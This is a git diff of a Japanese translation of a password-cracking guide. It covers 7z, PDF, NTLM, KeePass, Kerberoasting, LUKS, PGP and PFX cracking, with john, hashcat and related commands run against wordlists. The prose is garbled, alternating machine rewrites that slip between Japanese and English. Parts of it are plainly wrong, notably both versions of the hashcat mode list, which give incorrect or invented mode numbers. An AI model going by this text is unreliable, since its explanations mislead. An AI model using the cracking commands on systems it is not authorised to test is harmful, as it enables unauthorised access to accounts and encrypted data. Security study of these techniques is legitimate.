ブルートフォース攻撃ツールを実行し、すべての可能なパスワードの組み合わせを試します。攻撃が成功すると、正しいパスワードが見つかります。 - -ブルートフォース攻撃は、時間がかかる場合があります。パスワードの長さや複雑さによっては、解読に数時間以上かかることもあります。また、ブルートフォース攻撃は、合法的な目的でのみ使用することが重要です。 +7zファイルのブルートフォース攻撃を実行するためには、専用のツールやスクリプトを使用することができます。これらのツールは、自動的にパスワードの組み合わせを生成し、7zファイルに対して試行します。ただし、ブルートフォース攻撃は合法的な目的でのみ使用することが重要です。 ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` @@ -1250,17 +867,19 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` -### PDF +## ブルートフォース攻撃 -PDF(Portable Document Format)は、電子文書のフォーマットであり、さまざまなプラットフォームで利用されています。PDFファイルは、テキスト、画像、図表などの情報を保持し、異なるデバイスやソフトウェアで一貫した表示を提供します。 +ブルートフォース攻撃は、パスワードや認証情報を推測するために使用される一般的な攻撃手法です。この攻撃では、攻撃者は自動化されたツールを使用して、可能なすべての組み合わせを試し、正しいパスワードを見つけることを試みます。 -PDFファイルのブルートフォース攻撃は、パスワードの総当たり攻撃を行うことを意味します。これにより、パスワードが不明なPDFファイルにアクセスすることが可能になります。 +ブルートフォース攻撃は、パスワードの弱さや予測可能性に依存しています。一般的な攻撃手法には、辞書攻撃、総当たり攻撃、ハイブリッド攻撃などがあります。 -ブルートフォース攻撃は、一般的に辞書攻撃やランダムな文字列の組み合わせを使用して行われます。攻撃者は、パスワードの長さや文字セットに基づいて、可能な組み合わせを試行し続けます。 +辞書攻撃は、事前に作成された辞書ファイルを使用してパスワードを推測します。この攻撃手法では、一般的なパスワードや一般的な単語の組み合わせが試されます。 -PDFファイルのブルートフォース攻撃は、パスワードが強力である場合には非常に困難です。しかし、弱いパスワードや一般的な単語の使用など、セキュリティ上の脆弱性がある場合には成功する可能性があります。 +総当たり攻撃は、すべての可能な組み合わせを順番に試す攻撃手法です。この攻撃手法は非常に時間がかかる場合がありますが、パスワードが予測可能な場合には効果的です。 -ブルートフォース攻撃を防ぐためには、強力なパスワードを使用することが重要です。また、2要素認証やアカウントロックなどのセキュリティ対策も有効です。 +ハイブリッド攻撃は、辞書攻撃と総当たり攻撃を組み合わせた攻撃手法です。まず、辞書攻撃を試し、その後、総当たり攻撃を使用して残りの組み合わせを試します。 + +ブルートフォース攻撃は非常に効果的ですが、時間がかかる場合があります。攻撃者は、クラウド/SaaSプラットフォームを使用して攻撃をスケーリングすることができます。ただし、ブルートフォース攻撃は合法的な目的でのみ使用されるべきです。 ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -1271,7 +890,7 @@ qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` ### PDFオーナーパスワード -PDFオーナーパスワードをクラックするには、次を参照してください:[https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +PDFオーナーパスワードをクラックするには、次を確認してください:[https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT ```bash @@ -1287,19 +906,19 @@ john jwt.john #It does not work with Kali-John ``` ### NTLM クラッキング -NTLM クラッキングは、Windows ベースのシステムで使用される NTLM ハッシュを解読するための攻撃手法です。NTLM ハッシュは、ユーザーのパスワードをハッシュ化したものであり、クラッカーがこれを解読することで、パスワードを取得することができます。 +NTLM クラッキングは、Windows ベースのシステムで使用される認証プロトコルである NTLM のパスワードを解読する手法です。NTLM ハッシュを取得するために、パスワードのハッシュを総当たり攻撃することが一般的です。 -NTLM クラッキングには、以下のような手法があります。 +NTLM クラッキングには、以下の手法があります。 -1. 辞書攻撃: 事前に作成された辞書ファイルを使用して、一連のパスワード候補を試す方法です。クラッカーは、一致するハッシュを見つけるまで、辞書ファイル内のすべての単語やフレーズを試します。 +1. 辞書攻撃: 事前に作成されたパスワードリストを使用して、ユーザーのパスワードを総当たりで試行します。一般的なパスワードや一般的な単語の組み合わせを含むリストが使用されます。 -2. ブルートフォース攻撃: すべての可能な組み合わせを試す方法です。クラッカーは、パスワードの長さや文字セットに基づいて、すべての組み合わせを順番に試します。この方法は非常に時間がかかる場合があります。 +2. ブルートフォース攻撃: パスワードの全ての組み合わせを試行する方法です。この手法は非常に時間がかかるため、効率的なハッシュアルゴリズムを使用して高速化することが重要です。 -3. ハイブリッド攻撃: 辞書攻撃とブルートフォース攻撃を組み合わせた方法です。まず、辞書攻撃を試し、一致するハッシュが見つからない場合には、ブルートフォース攻撃に移行します。 +3. ハイブリッド攻撃: 辞書攻撃とブルートフォース攻撃を組み合わせた手法です。まず辞書攻撃を試みて、成功しなかった場合にブルートフォース攻撃に移行します。 -NTLM クラッキングは、強力なパスワードポリシーが実装されていない場合や、弱いパスワードが使用されている場合に特に有効です。クラッカーは、高速なハッシュ関数や GPU を使用することで、クラッキングの効率を向上させることができます。 +NTLM クラッキングには、高性能なハードウェアやクラウドベースの計算リソースを利用することも可能です。これにより、クラッキングの速度を大幅に向上させることができます。 -NTLM クラッキングに対する防御策としては、強力なパスワードポリシーの実装、多要素認証の使用、ハッシュのソルト化などがあります。これらの対策を講じることで、NTLM クラッキングのリスクを軽減することができます。 +NTLM クラッキングは、パスワードの強度やハッシュアルゴリズムのセキュリティに依存します。より強力なパスワードポリシーやハッシュアルゴリズムを使用することで、NTLM クラッキングのリスクを軽減することができます。 ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes @@ -1307,20 +926,15 @@ hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.tx ``` # Keepass -Keepassは、パスワード管理ツールであり、パスワードの保存、生成、自動入力をサポートします。Keepassは、強力な暗号化アルゴリズムを使用してパスワードデータベースを保護し、マスターパスワードを使用してアクセスを制御します。 +Keepassは、パスワード管理ツールであり、個人や組織が複数のアカウントのパスワードを安全に管理するために使用されます。Keepassは、強力な暗号化アルゴリズムを使用してパスワードデータベースを保護し、マスターパスワードを使用してアクセスを制御します。 -Keepassのブルートフォース攻撃は、マスターパスワードを特定するために使用されます。ブルートフォース攻撃は、すべての可能な組み合わせを試し、正しいパスワードを見つけるまで続けます。 +Keepassのブルートフォース攻撃は、暗号化されたパスワードデータベースのマスターパスワードを解読するために使用される攻撃手法です。ブルートフォース攻撃では、すべての可能な組み合わせのパスワードを試し、正しいパスワードを見つけるまで続けます。 -Keepassのブルートフォース攻撃を実行するためには、次の手順を実行する必要があります。 +ブルートフォース攻撃は、非常に時間がかかる場合があります。しかし、強力なパスワードを使用している場合や、パスワードの長さが十分に長い場合は、解読が困難になります。 -1. ブルートフォース攻撃ツールを使用して、Keepassデータベースファイルを解析します。 -2. ブルートフォース攻撃ツールを使用して、マスターパスワードを特定します。 -3. ブルートフォース攻撃ツールを使用して、マスターパスワードを試行します。 -4. 正しいマスターパスワードが見つかるまで、ブルートフォース攻撃を続けます。 +Keepassのブルートフォース攻撃を防ぐためには、強力なマスターパスワードを使用し、定期的に変更することが重要です。また、パスワードデータベースをクラウドストレージに保存する場合は、セキュリティを強化するために二要素認証を有効にすることをお勧めします。 -ブルートフォース攻撃は非常に時間がかかる場合があります。パスワードの長さや複雑さによっては、数日または数週間かかることもあります。また、ブルートフォース攻撃は、Keepassデータベースが強力なパスワードで保護されている場合にのみ有効です。強力なパスワードを使用することで、ブルートフォース攻撃を困難にすることができます。 - -Keepassのブルートフォース攻撃は、合法的な目的のためにのみ使用されるべきです。不正な目的で使用することは違法です。 +Keepassは、パスワード管理のための便利なツールですが、適切なセキュリティ対策を講じることが重要です。 ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password @@ -1334,17 +948,15 @@ Keberoastingは、Active Directory(AD)環境で使用されるサービス 攻撃者は、AD環境内のサービスアカウントのユーザー名を特定し、そのユーザー名を使用してKerberosチケットを要求します。次に、攻撃者は取得したチケットをオフラインで解析し、サービスアカウントのパスワードをクラックします。 -Keberoastingは、サービスアカウントがパスワードをハッシュ形式で保存しているために可能となります。攻撃者は、サービスアカウントのハッシュを取得し、オフラインでブルートフォース攻撃を行うことでパスワードを特定します。 +Keberoastingは、攻撃者がサービスアカウントのパスワードをクラックするために、弱いパスワードハッシュを持つサービスアカウントを特定することに依存しています。攻撃者は、特定のサービスアカウントがパスワードハッシュを保持していることを確認するために、Active Directory内のサービスプリンシパル名(SPN)を調査します。 -この攻撃手法は、一般的にはドメイン内のサービスアカウントのパスワードをクラックするために使用されます。攻撃者は、クラックしたパスワードを使用して特権のあるアクセス権を取得し、システム内での横断移動や特権昇格などの攻撃を行うことができます。 - -Keberoasting攻撃を防ぐためには、サービスアカウントのパスワードを強力なものに設定し、定期的に変更することが重要です。また、サービスアカウントのハッシュを保護するために、適切なアクセス制御と監視を実施することも必要です。 +Keberoasting攻撃は、パスワードポリシーの強化やサービスアカウントのパスワードの定期的な変更などの対策が不十分な場合に成功する可能性があります。したがって、セキュリティ上のリスクを軽減するためには、強力なパスワードポリシーの実施とサービスアカウントの適切な管理が重要です。 ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` -### LUKSイメージ +### ラックスイメージ #### 方法1 @@ -1355,17 +967,15 @@ cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` -#### 方法2 +#### メソッド2 -ブルートフォースとは、パスワードを解読したり、システムに不正アクセスしたりするために使われる一般的な方法である。これは、正しいパスワードが見つかるまで、可能な限りの文字の組み合わせを体系的に試すというものです。この方法は、時間とリソースを必要としますが、パスワードが弱かったり、容易に推測できる場合には効果的です。 +Brute force is a common method used in hacking to gain unauthorized access to a system or account. It involves systematically trying all possible combinations of passwords until the correct one is found. This method is effective when the password is weak or easily guessable. However, it can be time-consuming and resource-intensive. -Hydra、Medusa、John the Ripperなど、ブルートフォースアタックを実行するためのツールがいくつかある。これらのツールでは、攻撃に使用するターゲット・システム、ユーザー名、パスワード・リストを指定することができる。 +To perform a brute force attack, hackers use automated tools that generate and test a large number of password combinations. These tools can be customized to target specific systems or accounts, increasing the chances of success. Brute force attacks can be carried out on various protocols, such as HTTP, FTP, SSH, and others. -ブルートフォース攻撃を行う際には、一般的なパスワード、辞書的な単語、ターゲットの個人情報のバリエーションを含む優れたパスワードリストを使用することが重要です。また、マルチスレッドに対応したツールを使用することをお勧めします。 +To protect against brute force attacks, it is important to use strong and unique passwords that are not easily guessable. Additionally, implementing account lockout policies can help prevent multiple login attempts within a short period of time. Monitoring and analyzing login attempts can also help detect and mitigate brute force attacks. -ブルートフォース攻撃は、特にターゲットシステムがアカウントロックアウトやCAPTCHAのようなセキュリティ対策を実装している場合、常に成功するわけではないことは注目に値する。さらに、ブルートフォース攻撃は侵入検知システムによって検知される可能性があるため、このタイプの攻撃を実行する際には慎重かつ思慮深く行動することが重要です。 - -全体として、ブルートフォース攻撃はハッカーの強力な武器になり得ますが、責任を持って倫理的に使用されるべきです。ブルートフォース・アタックを試みる前に適切な承認を得ること、そしてターゲット・システムが攻撃を要求する個人または組織によって所有または管理されていることを確認することが重要です。 +Remember, brute force attacks are illegal and unethical unless performed with proper authorization for legitimate purposes such as penetration testing. Always obtain proper authorization before attempting any hacking techniques. ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 @@ -1384,17 +994,13 @@ dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c9 ``` ### PGP/GPGの秘密鍵 -```html -PGP/GPGの秘密鍵は、暗号化とデジタル署名に使用される重要な要素です。秘密鍵は、公開鍵と対になっており、データの暗号化や署名の作成に使用されます。 +Brute forcing a PGP/GPG private key is an extremely difficult task due to the large key space. The private key is typically protected by a passphrase, which adds an additional layer of security. However, if the passphrase is weak or easily guessable, it may be possible to brute force the key. -秘密鍵を保護することは非常に重要であり、漏洩すると重大なセキュリティリスクにつながります。秘密鍵を保護するためには、以下のベストプラクティスを守ることが必要です。 +To brute force a PGP/GPG private key, you would need to generate all possible key combinations and test each one until the correct passphrase is found. This process can be time-consuming and resource-intensive, especially for longer and more complex passphrases. -- 秘密鍵を安全な場所に保存する。物理的なアクセスが制限された場所や暗号化されたデバイスに保存することが推奨されます。 -- パスフレーズを使用して秘密鍵を保護する。強力なパスフレーズを設定し、定期的に変更することが重要です。 -- 秘密鍵を必要な場合にのみ使用する。秘密鍵を不必要に公開しないようにし、必要な場合にのみ使用するようにします。 +There are several tools available that can assist in brute forcing PGP/GPG private keys, such as `pgcrack` and `gpg2john`. These tools automate the process of generating key combinations and testing them against the private key. -秘密鍵の漏洩を防ぐためには、セキュリティ意識の高い行動が必要です。定期的なセキュリティ監査や脆弱性スキャンを実施し、セキュリティ対策を強化することが重要です。 -``` +It is important to note that brute forcing a PGP/GPG private key is generally considered unethical and illegal without proper authorization. It is recommended to only use these techniques for legitimate purposes, such as recovering a forgotten passphrase or testing the strength of your own private key. ```bash gpg2john private_pgp.key #This will generate the hash and save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash @@ -1411,8 +1017,8 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash パスワードで保護された列を持つxlsxファイルがある場合、次の手順で保護を解除できます: -* **Googleドライブにアップロード**すると、パスワードが自動的に削除されます -* **手動で**それを**削除**するには: +* **Googleドライブにアップロード**し、パスワードは自動的に削除されます +* 手動で**削除**するには: ```bash unzip file.xlsx grep -R "sheetProtection" ./* @@ -1423,21 +1029,20 @@ zip -r file.xls . ``` ### PFX証明書 -PFX証明書は、Microsoft Windowsで一般的に使用される証明書形式です。PFXは、証明書とその関連する秘密鍵を1つのファイルに結合するため、便利な形式として知られています。PFX証明書は、デジタル署名や暗号化などのセキュリティ関連の操作に使用されます。 +PFX証明書は、公開鍵暗号方式で使用されるデジタル証明書の一種です。PFXは、個人情報交換ファイル(Personal Information Exchange)の略称です。PFX証明書は、秘密鍵と公開鍵のペアを含み、一般的にはパスワードで保護されています。 -PFX証明書をブルートフォース攻撃する場合、以下の手順を実行します。 +PFX証明書は、デジタル署名や暗号化などのセキュリティ関連の操作に使用されます。PFX証明書を使用すると、データの機密性や整合性を確保することができます。 -1. 辞書攻撃: 一般的なパスワードや一般的な単語のリストを使用して、PFX証明書のパスワードを推測します。 -2. ブルートフォース攻撃: 辞書攻撃が成功しなかった場合、すべての可能な組み合わせを試すために、パスワードのすべての組み合わせを総当たりで試します。これは非常に時間がかかる場合があります。 +PFX証明書を作成するには、秘密鍵と公開鍵のペアを生成し、それらをPFXフォーマットにエクスポートする必要があります。PFX証明書は、一般的にはパスワードで保護されているため、安全なパスワードの選択と管理が重要です。 -ブルートフォース攻撃は、パスワードの強度が弱い場合に効果的です。しかし、強力なパスワードを使用している場合は、ブルートフォース攻撃は非現実的な時間がかかる可能性があります。 +PFX証明書は、WebサーバーのSSL/TLS証明書や電子メールの署名証明書など、さまざまな用途で使用されます。PFX証明書の管理と保護は、セキュリティの重要な側面です。 ```bash # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` -![](<../.gitbook/assets/image (9) (1) (2).png>) +
\ [**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ @@ -1476,18 +1081,18 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` ### Hashcat -#### Hashcat攻撃 +#### Hashcatの攻撃方法 -* **ワードリスト攻撃** (`-a 0`) with ルール +* **ワードリスト攻撃** (`-a 0`) とルール -**Hashcat**はすでに**ルールを含むフォルダ**を持っていますが、[**ここで他の興味深いルールを見つけることができます**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。 +**Hashcat**にはすでに**ルールが含まれたフォルダ**がありますが、[**ここで他の興味深いルールを見つけることができます**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。 ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` * **ワードリスト組み合わせ**攻撃 hashcatを使用して、2つのワードリストを1つに組み合わせることができます。\ -もし、リスト1に単語**"hello"**が含まれており、2つ目のリストには単語**"world"**と**"earth"**が2行含まれている場合、`helloworld`と`helloearth`という単語が生成されます。 +もし、リスト1には単語**"hello"**が含まれ、2つ目のリストには単語**"world"**と**"earth"**がそれぞれ2行ずつ含まれていた場合、`helloworld`と`helloearth`という単語が生成されます。 ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt @@ -1538,124 +1143,131 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` -#### Hashcatモード +#### Hashcatのモード -Hashcatは、さまざまなハッシュ関数をクラックするためのさまざまなモードを提供しています。以下に、一部の一般的なモードを示します。 +Hashcatは、さまざまなハッシュアルゴリズムをクラックするためのさまざまなモードを提供しています。以下にいくつかの一般的なモードを示します。 -- **0**: Straightモード。ハッシュを直接クラックします。 -- **100**: DCCモード。DCC(Distributed Checksum Clearinghouse)ハッシュをクラックします。 -- **1400**: WPA/WPA2ハンドシェイクモード。WPA/WPA2ハンドシェイクをクラックします。 -- **1700**: Kerberos 5 TGS-REP etype 23モード。Kerberos 5 TGS-REP etype 23ハッシュをクラックします。 -- **2500**: WPA/WPA2ハンドシェイクモード(PMKID)。WPA/WPA2ハンドシェイクのPMKIDをクラックします。 -- **3000**: LMハッシュモード。LMハッシュをクラックします。 -- **5000**: MD5ハッシュモード。MD5ハッシュをクラックします。 -- **5600**: NetNTLMv1ハッシュモード。NetNTLMv1ハッシュをクラックします。 -- **10000**: NTLMハッシュモード。NTLMハッシュをクラックします。 -- **16800**: SHA-512ハッシュモード。SHA-512ハッシュをクラックします。 +- **ハッシュモード**(モード0):ハッシュ値を解読するための基本的なモードです。ハッシュアルゴリズムに応じて、ハッシュ値を解読するためのルールや攻撃方法を指定することができます。 -これらは、Hashcatがサポートするモードの一部です。ハッシュの種類に応じて、適切なモードを選択することが重要です。 +- **ワードリストモード**(モード1):事前に作成されたワードリストを使用して、ハッシュ値を解読するモードです。ワードリストには、一般的なパスワードや辞書ワードが含まれています。 + +- **組み合わせモード**(モード2):複数のワードリストを組み合わせて使用し、ハッシュ値を解読するモードです。これにより、複数のワードリストを組み合わせて攻撃することができます。 + +- **ルールベースモード**(モード3):ルールを使用して、ワードリストの単語を変形させ、ハッシュ値を解読するモードです。ルールには、文字の追加、置換、削除などの変換方法が含まれています。 + +- **ハイブリッドモード**(モード4):ワードリストとルールを組み合わせて使用し、ハッシュ値を解読するモードです。ワードリストとルールの組み合わせにより、より効率的な攻撃が可能となります。 + +これらのモードは、Hashcatの柔軟性とパフォーマンスを最大限に活用するための重要なツールです。ハッシュクラッキングの目的や環境に応じて、適切なモードを選択することが重要です。 ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` -# Linux ハッシュをクラックする - /etc/shadow ファイル +# Linuxハッシュのクラック - /etc/shadowファイル -## Introduction +## 概要 -Linuxシステムでは、ユーザー・パスワードは`/etc/shadow`ファイルに保存される。このファイルには、元のパスワードを一方向暗号化したハッシュ・パスワードが格納されている。ハッカーとして`/etc/shadow`ファイルにアクセスすれば、これらのハッシュをクラックして元のパスワードを入手しようと試みることができる。 +Linuxシステムでは、ユーザーのパスワードは/etc/shadowファイルにハッシュ化されて保存されます。このファイルは通常、rootユーザーのみがアクセスできるようになっています。しかし、ハッシュ関数の性質上、ハッシュ値から元のパスワードを復元することは不可能ではありません。このため、ハッシュを解読することで、ユーザーのパスワードを取得することができます。 -## Brute-Force Attack +## ブルートフォース攻撃 -Linuxのハッシュをクラックする一般的な方法のひとつに、ブルートフォース攻撃がある。この攻撃では、ハッカーは正しいパスワードが見つかるまで、可能な限りの文字の組み合わせを体系的に試行する。これは、特に複雑なパスワードの場合、時間のかかるプロセスとなる。 +ブルートフォース攻撃は、ハッシュ値を解読するための一般的な手法です。この攻撃では、可能なすべてのパスワードの組み合わせを試し、ハッシュ値と一致するものを見つけることを目指します。 -## 辞書攻撃 +以下は、ブルートフォース攻撃の手順です。 -もう1つのアプローチは辞書攻撃で、ハッカーはよく使われるパスワードや辞書に載っている単語をあらかじめ生成したリストを使う。攻撃者は各単語のハッシュを/etc/shadowファイル内のハッシュと比較し、一致するものを見つけようとする。この方法はブルートフォースよりも速いが、ユーザーが弱いパスワードや一般的なパスワードを選ぶことに依存する。 +1. ハッシュ値を取得します。/etc/shadowファイルからユーザーのハッシュ値を抽出します。 +2. パスワードリストを作成します。攻撃者は、一般的なパスワードや辞書攻撃に使用するためのパスワードリストを作成します。 +3. パスワードリストを使用して攻撃を開始します。攻撃者は、パスワードリスト内の各パスワードをハッシュ化し、ハッシュ値と一致するかどうかを確認します。 +4. 一致するパスワードが見つかるまで繰り返します。攻撃者は、すべてのパスワードを試すまで繰り返します。 -## レインボーテーブル +## ツールとリソース -レインボーテーブルとは、ハッシュとそれに対応する平文パスワードの事前計算テーブルである。このテーブルを使えば、与えられたハッシュの元のパスワードを素早く見つけることができる。しかし、レインボーテーブルはサイズが大きくなり、大きな記憶領域を必要とします。 +ブルートフォース攻撃を実行するためには、以下のツールとリソースが必要です。 -## Online Hash Cracking Services +- パスワードリスト: ブルートフォース攻撃に使用するパスワードのリストです。一般的なパスワードや辞書攻撃に使用されることがあります。 +- ハッシュクラッキングツール: ハッシュ値を解読するためのツールです。John the RipperやHashcatなどが一般的に使用されます。 -ハッシュ・クラッキング機能を提供するオンライン・サービスがある。これらのサービスは、強力なハードウェアとアルゴリズムを利用して、ハッシュを素早くクラックする。しかし、これらのサービスを利用することは倫理的、法的な問題を引き起こす可能性があるため、注意が必要である。 +## 対策方法 -## Conclusion +ユーザーのパスワードを保護するためには、以下の対策を実施することが重要です。 -`etc/shadow`ファイルからLinuxのハッシュをクラックするのは、難しい作業になる。様々なクラッキング技術やツールの知識が必要となる。ハッカーとして、ハッシュ・クラッキング活動に関連するリスクと法的な意味を理解することは重要です。 +- 強力なパスワードポリシーの設定: ユーザーには、複雑なパスワードを使用するように要求するポリシーを設定します。 +- パスワードのハッシュ化: パスワードはハッシュ関数を使用して保存されるべきです。また、ソルトを使用してハッシュ値をより安全にすることも重要です。 +- パスワードリストの使用禁止: システム上で一般的なパスワードリストの使用を禁止します。 +- ログイン試行回数の制限: ログイン試行回数を制限することで、ブルートフォース攻撃を防ぐことができます。 + +以上がLinuxハッシュのクラックに関する情報です。ユーザーのパスワードを保護するためには、適切な対策を実施することが重要です。 ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` -# Cracking Windows Hashes +# Windowsハッシュのクラック -## Introduction +## 概要 -このセクションでは、Windowsハッシュをクラックするプロセスについて説明する。Windowsハッシュは、Windowsオペレーティング・システムに保存されているユーザー・パスワードの暗号化表現である。このハッシュをクラックすることで、元の平文パスワードを得ることができ、ユーザーアカウントへの不正アクセスなど、様々な目的に利用できる。 +Windowsオペレーティングシステムでは、ユーザーのパスワードはハッシュ値として保存されます。このハッシュ値を解読することで、パスワードを特定することができます。このセクションでは、Windowsハッシュのクラックについて説明します。 -## Methodologies +## ツールとリソース -Windowsのハッシュをクラックする方法論やツールはいくつかある。ここでは、一般的に使用される2つの方法、すなわちブルートフォース攻撃と 辞書攻撃について説明する。 +Windowsハッシュをクラックするために使用できるさまざまなツールとリソースがあります。以下はいくつかの一般的なものです。 -### Brute-Force Attacks +- **John the Ripper**: パスワードクラッキングツールで、Windowsハッシュの解読に使用できます。 +- **Hashcat**: 高速なパスワードリカバリツールで、Windowsハッシュのクラックに使用できます。 +- **RainbowCrack**: レインボーテーブルを使用して、Windowsハッシュを解読するための効率的なツールです。 +- **Online Hash Crack**: オンラインサービスで、Windowsハッシュのクラックを行うことができます。 -ブルートフォース攻撃は、正しいパスワードが見つかるまで、可能な限りの文字の組み合わせを体系的に試すものである。この方法は、多数の組み合わせを試す必要があるため、時間とリソースを消費します。しかし、パスワードが弱く、容易に推測できる場合には有効です。 +## ブルートフォース攻撃 -Windowsのハッシュに対してブルートフォース攻撃を行うには、John the RipperやHashcatのようなツールを使うことができる。これらのツールは、強力なアルゴリズムとテクニックを利用し、クラッキング・プロセスを高速化する。 +ブルートフォース攻撃は、すべての可能な組み合わせを試すことでパスワードを解読する手法です。Windowsハッシュのクラックにおいても、ブルートフォース攻撃は有効な手法の一つです。 -### 辞書攻撃 +以下は、ブルートフォース攻撃を使用してWindowsハッシュをクラックする手順です。 -辞書攻撃は、辞書として知られる、よく使われるパスワードのあらかじめ生成されたリストを使ってハッシュをクラックする。この方法は、試行する組み合わせの数を減らすことができるため、ブルートフォースよりも効率的です。しかし、ユーザーが辞書からパスワードを選択したという前提に依存します。 +1. パスワードリストの作成: ブルートフォース攻撃に使用するパスワードのリストを作成します。一般的なパスワードや辞書攻撃に使用される単語を含めることができます。 -Windowsのハッシュに対する辞書攻撃を行うには、HashcatやHydraのようなツールを使うことができる。これらのツールでは、辞書ファイルを指定してクラッキング・プロセスを自動化することができる。 +2. ツールの設定: 使用するツール(例:John the Ripper、Hashcat)を設定します。ハッシュの種類や攻撃方法などを指定します。 -## リソース +3. 攻撃の実行: ツールを使用してブルートフォース攻撃を実行します。ツールはパスワードリストの各項目を試し、ハッシュと一致するパスワードを見つけるまで続けます。 -Windowsのハッシュを解読するのに役立つ様々なリソースがあります。以下のようなものがある: +4. パスワードの特定: ツールが一致するパスワードを見つけた場合、それがWindowsハッシュのパスワードとなります。 -- 単語リスト:辞書攻撃に使用できる単語、パスワード、一般的なフレーズのコレクションです。 -- レインボー・テーブル:ハッシュとそれに対応する平文パスワードの対応付けを事前に計算したテーブルで、クラッキング・プロセスを高速化する。 -- オンライン・データベース:一部のウェブサイトでは、流出したパスワードのデータベースを提供しており、Windowsのハッシュをクラックするのに利用できる。 +## 注意事項 -これらのリソースを活用し、適切な方法を採用することで、Windowsハッシュのクラックに成功し、オリジナルのパスワードを入手する可能性を高めることができる。しかし、適切な権限なしにWindowsのハッシュをクラックすることは違法であり、非倫理的であることに注意することが重要である。 +Windowsハッシュのクラックは合法的な目的でのみ使用してください。また、クラックするパスワードは自分のものであるか、明示的な許可を得たものに限定してください。不正なアクセスやプライバシー侵害は法的な問題となります。 + +## まとめ + +Windowsハッシュのクラックは、ユーザーのパスワードを解読するための重要な手法です。ブルートフォース攻撃や専用のツールを使用することで、Windowsハッシュのクラックを行うことができます。ただし、合法的な目的で使用し、適切な許可を得ることが重要です。 ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` -# 一般的なアプリケーションのハッシュをクラックする。 +# Brute Force -## Introduction +Brute force is a common method used to crack application hashes. It involves systematically trying every possible combination of characters until the correct password is found. -このセクションでは、一般的なアプリケーションのハッシュをクラックするプロセスについて説明します。ハッシュ・クラッキングは、ハッシュ化された表現から平文のパスワードを復元するために使用される技法です。ハッシュをクラックすることで、様々なアプリケーションやシステムに不正にアクセスすることができます。 +## Dictionary Attack -## Types of Hashes +A dictionary attack is a type of brute force attack that uses a pre-defined list of commonly used passwords, known as a dictionary, to crack hashes. This method is effective because many users choose weak passwords that are easily guessable. -アプリケーションでよく使われるハッシュにはいくつかの種類がある。最も一般的なものには以下のようなものがある: +## Hybrid Attack -- **MD5**: これは広く使われているハッシュ関数で、128ビットのハッシュ値を生成する。古いアプリケーションやシステムでよく使われている。 -- **SHA-1**: これも広く使われているハッシュ関数で、160ビットのハッシュ値を生成する。古いアプリケーションやシステムでもよく使われている。 -- **SHA-256**: これはより安全なハッシュ関数で、256ビットのハッシュ値を生成する。最近のアプリケーションやシステムでよく使われている。 +A hybrid attack combines elements of both brute force and dictionary attacks. It involves using a combination of dictionary words and additional characters or numbers to crack hashes. This method is useful for cracking passwords that are not in the dictionary but still follow a predictable pattern. -## ハッシュ・クラッキングのテクニック +## Mask Attack -ハッシュをクラックするためには、様々なテクニックがある。最も一般的なものには次のようなものがある: +A mask attack is a type of brute force attack that uses a predefined pattern, or mask, to generate passwords. The mask specifies which characters are fixed and which can vary. This method is useful when the password follows a specific format, such as having a certain number of letters followed by a certain number of digits. -- **総当たり**: このテクニックでは、正しいパスワードが見つかるまで、可能な限りの文字の組み合わせを試すことになる。時間のかかる作業だが、弱いパスワードの解読には効果的だ。 -- **辞書攻撃**: このテクニックでは、辞書として知られる、よく使われるパスワードの事前生成リストを使用してハッシュをクラックする。ブルートフォースよりも速いですが、複雑なパスワードには効果がないかもしれません。 -- **レインボーテーブル**: 